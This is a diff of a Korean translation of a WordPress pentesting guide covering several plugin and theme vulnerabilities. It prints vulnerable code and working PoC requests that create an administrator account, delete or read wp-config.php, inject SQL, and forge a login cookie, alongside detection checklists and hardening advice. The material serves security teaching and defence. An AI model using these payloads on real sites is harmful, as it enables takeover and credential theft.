> 게다가, 만약 함수가 사용자 권한을 `wp_verify_nonce` 함수로만 확인한다면, 이 함수는 단지 사용자가 로그인했는지 여부만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 높은 권한이 필요한 동작에 접근할 수 있습니다.
|
||||
> 또한, 만약 함수가 단지 `wp_verify_nonce` 함수로 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인할 뿐 보통 사용자의 역할(role)은 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
|
||||
|
||||
- **REST API**
|
||||
|
||||
또한 wordpress에서 `register_rest_route` 함수를 사용해 rest AP를 등록하여 함수를 노출시키는 것도 가능합니다:
|
||||
또한 `register_rest_route` 함수를 사용해 wordpress에서 함수를 REST API로 등록하여 노출시키는 것도 가능합니다:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -362,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback`은 특정 사용자가 API 메서드를 호출할 권한이 있는지 확인하는 콜백 함수입니다.
|
||||
The `permission_callback`은 해당 사용자가 API 메서드를 호출할 권한이 있는지 검사하는 콜백 함수입니다.
|
||||
|
||||
**내장 `__return_true` 함수가 사용되면 사용자 권한 검사를 단순히 건너뜁니다.**
|
||||
**내장 `__return_true` 함수가 사용되면 사용자 권한 검사를 건너뜁니다.**
|
||||
|
||||
- **php 파일에 대한 직접 접근**
|
||||
|
||||
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일들은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 실행되는 취약한 기능을 노출하고 있다면, 어떤 사용자라도 이를 악용할 수 있습니다.
|
||||
물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하기만 해도 트리거되는 취약한 기능을 노출하고 있다면, 모든 사용자가 이를 악용할 수 있습니다.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
일부 플러그인은 내부 통합이나 reverse proxies를 위해 “trusted header” 단축을 구현한 뒤, 해당 헤더로 REST 요청의 현재 사용자 컨텍스트를 설정합니다. 만약 그 헤더가 upstream component에 의해 요청에 대해 암호학적으로 바인딩되어 있지 않다면, 공격자는 이를 spoof하여 관리자 권한이 필요한 REST routes를 호출할 수 있습니다.
|
||||
일부 플러그인은 “trusted header” 단축을 내부 통합이나 리버스 프록시용으로 구현한 다음, REST 요청의 현재 사용자 컨텍스트를 설정하기 위해 해당 헤더를 사용합니다. 그 헤더가 업스트림 컴포넌트에 의해 요청과 암호학적으로 결속되어 있지 않으면, 공격자는 이를 스푸핑하여 관리자 권한으로 특권 REST 라우트에 접근할 수 있습니다.
|
||||
|
||||
- 영향: core users REST route를 통해 새로운 administrator를 생성하여 unauthenticated privilege escalation으로 admin 권한을 획득할 수 있습니다.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1을 강제로 설정 — 일반적으로 첫 번째 administrator 계정).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` 에서 elevated role 배열을 사용.
|
||||
- 영향: core users REST route를 통해 새 관리자 계정을 생성하여 인증 없이 관리자 권한으로 권한 상승.
|
||||
- 예시 헤더: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1을 강제로 지정 — 일반적으로 첫 번째 관리자 계정).
|
||||
- 악용된 라우트: `POST /wp-json/wp/v2/users` (권한이 상승된 역할 배열과 함께).
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -390,40 +391,31 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
왜 작동하는가
|
||||
|
||||
- 이 플러그인은 클라이언트가 제어하는 헤더를 인증 상태에 매핑하고 capability checks를 생략한다.
|
||||
- WordPress core는 이 라우트에 `create_users` capability를 기대한다; 플러그인 해킹은 헤더에서 현재 사용자 컨텍스트를 직접 설정하여 이를 우회한다.
|
||||
- 플러그인이 클라이언트가 제어하는 헤더를 인증 상태로 매핑하고 권한 검사를 건너뛴다.
|
||||
- WordPress 코어는 이 라우트에 대해 `create_users` 권한을 기대한다; 플러그인 해킹은 헤더에서 직접 현재 사용자 컨텍스트를 설정해 이를 우회한다.
|
||||
|
||||
Expected success indicators
|
||||
예상 성공 지표
|
||||
|
||||
- HTTP 201 with a JSON body describing the created user.
|
||||
- A new admin user visible in `wp-admin/users.php`.
|
||||
- 생성된 사용자를 설명하는 JSON 본문과 함께 HTTP 201.
|
||||
- `wp-admin/users.php`에 표시되는 새로운 관리자 사용자.
|
||||
|
||||
Detection checklist
|
||||
탐지 체크리스트
|
||||
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 vendor SDK들이 사용자 컨텍스트를 설정하기 위해 커스텀 헤더를 읽는지 grep 하라(예: `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- 요청 헤더에 의존하고 강력한 `permission_callback` 검사가 없는 권한 있는 콜백에 대한 REST 등록을 검토하라.
|
||||
- REST 핸들러 내에서 header 값만으로 게이트된 상태로 코어 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)가 사용되는지 찾으라.
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']` 또는 사용자 정의 헤더를 읽어 사용자 컨텍스트를 설정하는 vendor SDKs를 grep한다(예: `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- 견고한 `permission_callback` 검사를 갖추지 못하고 대신 요청 헤더에 의존하는 권한 있는 콜백에 대한 REST 등록을 검토한다.
|
||||
- REST 핸들러 내부에서 헤더 값으로만 제한되는 핵심 사용자 관리 함수(`wp_insert_user`, `wp_create_user`)의 사용을 찾아라.
|
||||
|
||||
Hardening
|
||||
### wp_ajax_nopriv을 통한 인증되지 않은 임의의 파일 삭제 (Litho Theme <= 3.0)
|
||||
|
||||
- 클라이언트가 제어하는 헤더에서 인증이나 권한을 유추하지 마라.
|
||||
- 리버스 프록시가 반드시 identity를 주입해야 한다면 프록시에서 신뢰를 종료하고 수신된 복사본을 제거하라(예: 에지에서 `unset X-Wcpay-Platform-Checkout-User`), 그 후 서명된 토큰을 전달하고 서버 측에서 검증하라.
|
||||
- 권한이 필요한 작업을 수행하는 REST 경로에는 `current_user_can()` 검사와 엄격한 `permission_callback`을 요구하라(절대 `__return_true`를 사용하지 마라).
|
||||
- 헤더 “impersonation”보다 퍼스트파티 인증(cookies, application passwords, OAuth)을 선호하라.
|
||||
WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용될 때 **콜백이 인증되지 않은 방문자에게 도달 가능해지므로**, 모든 민감한 동작은 추가로 다음을 구현해야 한다:
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
1. **권한 확인**(예: `current_user_can()` 또는 최소한 `is_user_logged_in()`), 그리고
|
||||
2. `check_ajax_referer()` / `wp_verify_nonce()`로 검증되는 **CSRF nonce**, 그리고
|
||||
3. **엄격한 입력 정제 / 검증**.
|
||||
|
||||
### wp_ajax_nopriv를 통한 인증되지 않은 임의 파일 삭제 (Litho Theme <= 3.0)
|
||||
|
||||
WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅을 통해 AJAX 핸들러를 노출한다. **_nopriv_** 변형이 사용될 경우 **콜백이 인증되지 않은 방문자에게 접근 가능해지므로**, 민감한 동작은 추가로 다음을 구현해야 한다:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
Litho 멀티퍼포즈 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 세 가지 제어를 누락했고, 결국 다음 코드를 포함하여 배포되었다(단순화됨):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -442,60 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
이 스니펫으로 인해 발생한 문제:
|
||||
이 스니펫으로 인해 발생하는 문제:
|
||||
|
||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **No nonce / capability check** – 어떤 방문자든 엔드포인트를 호출할 수 있습니다.
|
||||
* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일시스템 경로에 이어붙여져 고전적인 `../../` 경로 탈취가 가능합니다.
|
||||
* **Unauthenticated access** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다.
|
||||
* **No nonce / capability check** – 모든 방문자가 해당 엔드포인트에 접근할 수 있습니다.
|
||||
* **No path sanitisation** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 이어붙여져 전형적인 `../../` traversal을 허용합니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
공격자는 단일 HTTP POST 요청을 보내어 **uploads 기본 디렉터리 아래** (일반적으로 `<wp-root>/wp-content/uploads/`)의 임의의 파일이나 디렉터리를 삭제할 수 있습니다:
|
||||
공격자는 단 한 번의 HTTP POST 요청으로 **uploads base directory 아래**(보통 `<wp-root>/wp-content/uploads/`)의 임의 파일이나 디렉터리를 삭제할 수 있습니다:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
`wp-config.php`가 *uploads* 밖에 위치하기 때문에, 기본 설치에서는 `../` 네 번이면 충분합니다. `wp-config.php`를 삭제하면 다음 방문 시 WordPress가 *installation wizard*로 들어가며 전체 사이트 탈취가 가능해집니다(공격자는 새 DB 구성만 제공하고 관리자 사용자 계정을 생성하면 됩니다).
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
다른 영향력 있는 대상으로는 플러그인/테마의 `.php` 파일들(보안 플러그인을 무력화하기 위해)이나 `.htaccess` 규칙이 있습니다.
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### 탐지 체크리스트
|
||||
|
||||
* 파일시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 경로로의 비검증 사용자 입력 결합( `$_POST`, `$_GET`, `$_REQUEST` 를 확인).
|
||||
* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백.
|
||||
* 경로에 비검증 사용자 입력을 이어붙이는 경우(`$_POST`, `$_GET`, `$_REQUEST`를 확인).
|
||||
* `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재.
|
||||
|
||||
#### 보안 강화
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **항상** 디스크에 대한 모든 쓰기/삭제 작업을 권한이 필요한 것으로 처리하고 다음을 반드시 재확인하세요:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### 오래된 역할 복원 및 권한 검증 누락을 통한 권한 상승 (ASE "View Admin as Role")
|
||||
### 오래된 역할 복원 및 인증 누락을 통한 권한 상승 (ASE "View Admin as Role")
|
||||
|
||||
많은 플러그인은 원래 역할을 user meta에 저장해 나중에 복원할 수 있도록 "view as role" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 파라미터(예: `$_REQUEST['reset-for']`)와 플러그인이 관리하는 목록에만 의존하고 권한 확인이나 유효한 nonce 검증을 수행하지 않으면, 이는 수직적 권한 상승이 됩니다.
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
실제 사례는 Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1)에서 발견되었습니다. reset 분기는 내부 배열 `$options['viewing_admin_as_role_are']`에 사용자명이 존재하면 `reset-for=<username>`에 기반해 역할을 복원했지만, 현재 역할을 제거하고 user meta `_asenha_view_admin_as_original_roles`에 저장된 역할을 다시 추가하기 전에 `current_user_can()` 검사나 nonce 검증을 전혀 수행하지 않았습니다:
|
||||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -510,19 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
취약한 이유
|
||||
왜 취약한가
|
||||
|
||||
- 서버 측 권한 검증 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰함.
|
||||
- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 높은 권한을 저장해두었다가 권한이 낮아진 경우, 재설정 경로를 호출해 이를 복원할 수 있음.
|
||||
- 일부 배포 환경에서는, 어떤 인증된 사용자라도 여전히 `viewing_admin_as_role_are`에 남아 있는 다른 사용자 이름에 대해 재설정을 트리거할 수 있음(권한 검증 취약).
|
||||
- 서버 측 권한 검증 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰한다.
|
||||
- 사용자가 이전에 더 높은 권한을 `_asenha_view_admin_as_original_roles`에 저장해 두었고 이후 권한이 낮아진 경우, reset 경로에 접근해 이를 복원할 수 있다.
|
||||
- 일부 배포에서는, 인증된 어떤 사용자도 `viewing_admin_as_role_are`에 여전히 남아 있는 다른 사용자명을 대상으로 리셋을 트리거할 수 있다(권한 검증 결함).
|
||||
|
||||
공격 전제 조건
|
||||
|
||||
- 기능이 활성화된 취약한 플러그인 버전.
|
||||
- 대상 계정이 이전 사용으로 인해 user meta에 저장된 오래된 고권한 역할을 보유.
|
||||
- 인증된 세션만 있으면 됨; 재설정 흐름에서 nonce/capability가 없음.
|
||||
|
||||
악용 (예시)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -530,36 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
취약한 빌드에서는 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
|
||||
On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- 사용자 메타에 "원래 역할"을 지속적으로 저장하는 역할 전환 기능을 찾아보세요 (예: `_asenha_view_admin_as_original_roles`).
|
||||
- Identify reset/restore paths that:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽는지 확인하세요.
|
||||
- `add_role()` / `remove_role()`로 역할을 수정하면서 `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()`를 사용하지 않는지 확인하세요.
|
||||
- 행위자의 권한 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는지 확인하세요.
|
||||
|
||||
Hardening
|
||||
|
||||
- 상태를 변경하는 모든 분기에서 권한 검사를 적용하세요(예: `current_user_can('manage_options')` 또는 더 엄격한 검사를 사용).
|
||||
- 모든 역할/권한 변경 시 nonce를 요구하고 검증하세요: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청으로 제공된 사용자 이름을 절대 신뢰하지 마세요; 인증된 행위자와 명시적 정책에 따라 서버 측에서 대상 사용자를 결정하세요.
|
||||
- 프로필/역할 업데이트 시 "원래 역할" 상태를 무효화하여 오래된 고권한 복원이 발생하지 않도록 하세요:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- 최소한의 상태만 저장하고 임시 역할 전환을 위해 시간 제한이 있고 capability로 보호된 토큰을 사용하는 것을 고려하세요.
|
||||
- user meta에 'original roles'를 영구 저장하는 역할 전환 기능을 찾아보세요(예: `_asenha_view_admin_as_original_roles`).
|
||||
- 다음과 같은 리셋/복원 경로를 식별하세요:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자명을 읽는지.
|
||||
- `add_role()` / `remove_role()`로 역할을 변경하면서 `current_user_can()`와 `wp_verify_nonce()` / `check_admin_referer()` 없이 동작하는지.
|
||||
- 행위자의 권한(capabilities) 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는지.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
일부 플러그인은 user-switching 헬퍼를 공개 `init` 훅에 연결하고 클라이언트가 제어하는 cookie에서 식별을 유도합니다. `wp_set_auth_cookie()`를 인증, capability 및 유효한 nonce를 확인하지 않고 호출하면, 인증되지 않은 방문자가 임의의 사용자 ID로 강제 로그인할 수 있습니다.
|
||||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||||
|
||||
전형적인 취약 패턴(간소화, Service Finder Bookings ≤ 6.1에서 발췌):
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -590,11 +540,11 @@ wp_die('No original user found to switch back to.');
|
||||
```
|
||||
왜 취약한가
|
||||
|
||||
- 공개된 `init` 후크는 핸들러가 인증되지 않은 사용자도 접근할 수 있게 만든다 (`is_user_logged_in()` 가드가 없음).
|
||||
- 식별 정보는 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생된다.
|
||||
- `wp_set_auth_cookie($uid)`를 직접 호출하면 capability/nonce 검사 없이 요청자를 해당 사용자로 로그인시킨다.
|
||||
- 공개된 `init` 훅으로 핸들러가 인증되지 않은 사용자도 접근할 수 있습니다 (`is_user_logged_in()` 보호 없음).
|
||||
- 신원은 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생됩니다.
|
||||
- `wp_set_auth_cookie($uid)`를 직접 호출하면 권한 또는 nonce 검사 없이 요청자를 해당 사용자로 로그인시킵니다.
|
||||
|
||||
악용(인증되지 않음)
|
||||
Exploitation (unauthenticated)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -604,20 +554,20 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WordPress/plugin CVEs에 대한 WAF 고려사항
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
일반적인 edge/server WAF는 광범위한 패턴(SQLi, XSS, LFI)에 맞춰 튜닝되어 있습니다. 많은 고영향 WordPress/plugin 결함은 애플리케이션 특유의 로직/인증 버그로, 엔진이 WordPress 경로와 plugin semantics를 이해하지 못하면 정상 트래픽처럼 보입니다.
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
|
||||
Offensive notes
|
||||
공격 노트
|
||||
|
||||
- 클린 페이로드로 plugin 전용 엔드포인트를 공략하세요: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- 먼저 인증 없는 경로를 시도하세요 (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다.
|
||||
- 전형적인 고영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
방어 노트
|
||||
|
||||
- 플러그인 CVEs를 보호하기 위해 일반적인 WAF 시그니처에만 의존하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치나 빠른 업데이트를 적용하세요.
|
||||
- negative regex 필터보다 코드 내에서 positive-security 검사(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
@ -629,7 +579,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
또한, **신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요**.
|
||||
Also, **only install trustable WordPress plugins and themes**.
|
||||
|
||||
### 보안 플러그인
|
||||
|
||||
@ -639,16 +589,16 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### **기타 권장사항**
|
||||
|
||||
- 기본 **admin** 계정 제거
|
||||
- **강력한 비밀번호** 및 **2FA** 사용
|
||||
- 주기적으로 사용자 **권한**을 **검토**
|
||||
- **로그인 시도 제한**을 설정해 Brute Force attacks 방지
|
||||
- **`wp-admin.php`** 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용하세요.
|
||||
- 기본 **admin** 사용자 제거
|
||||
- **강력한 비밀번호**와 **2FA** 사용
|
||||
- 주기적으로 사용자 **권한**을 **검토**하세요
|
||||
- Brute Force 공격을 방지하기 위해 **로그인 시도 제한** 적용
|
||||
- **`wp-admin.php`** 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용
|
||||
|
||||
|
||||
### 인증되지 않은 SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal 채용 플러그인은 **savecategory** 작업을 노출했으며, 이는 결국 `modules/category/model.php::validateFormData()` 내부에서 다음의 취약한 코드를 실행합니다:
|
||||
The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -658,13 +608,13 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
이 스니펫으로 인해 발생한 문제:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **검증되지 않은 사용자 입력** – `parentid`가 HTTP 요청에서 바로 전달됩니다.
|
||||
2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / prepared statement 없음.
|
||||
3. **인증 없이 접근 가능** – action이 `admin-post.php`를 통해 실행되긴 하지만, 존재하는 유일한 체크는 모든 방문자가 공개 페이지에서 숏코드 `[wpjobportal_my_resumes]`를 통해 가져올 수 있는 **CSRF nonce**(`wp_verify_nonce()`)뿐입니다.
|
||||
1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
|
||||
2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### 악용
|
||||
#### Exploitation
|
||||
|
||||
1. 새로운 nonce를 가져옵니다:
|
||||
```bash
|
||||
@ -678,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi를 증명합니다.
|
||||
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi를 입증합니다.
|
||||
|
||||
|
||||
### 인증 없이 임의 파일 다운로드 / 경로 순회 (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
또 다른 task인 **downloadcustomfile**은 방문자가 경로 순회를 통해 디스크의 **아무 파일(any file on disk)** 을 다운로드할 수 있게 허용했습니다. 취약한 sink는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal. The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name`은 공격자가 제어하며 **검증 없이** 이어붙여집니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
`$file_name`은 공격자가 제어하며 **without sanitisation** 상태로 이어붙여집니다. 다시 말하면, 유일한 장벽은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -700,9 +650,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
서버가 `wp-config.php`의 내용을 반환하여 DB credentials 및 auth keys를 leaking합니다.
|
||||
서버가 `wp-config.php`의 내용을 반환하여 DB credentials와 auth keys를 leak한다.
|
||||
|
||||
## 참고자료
|
||||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
많은 테마/플러그인은 admin-ajax.php를 통해 노출되는 "social login" 헬퍼를 포함한다. 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 된다.
|
||||
|
||||
Typical flawed pattern (simplified)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
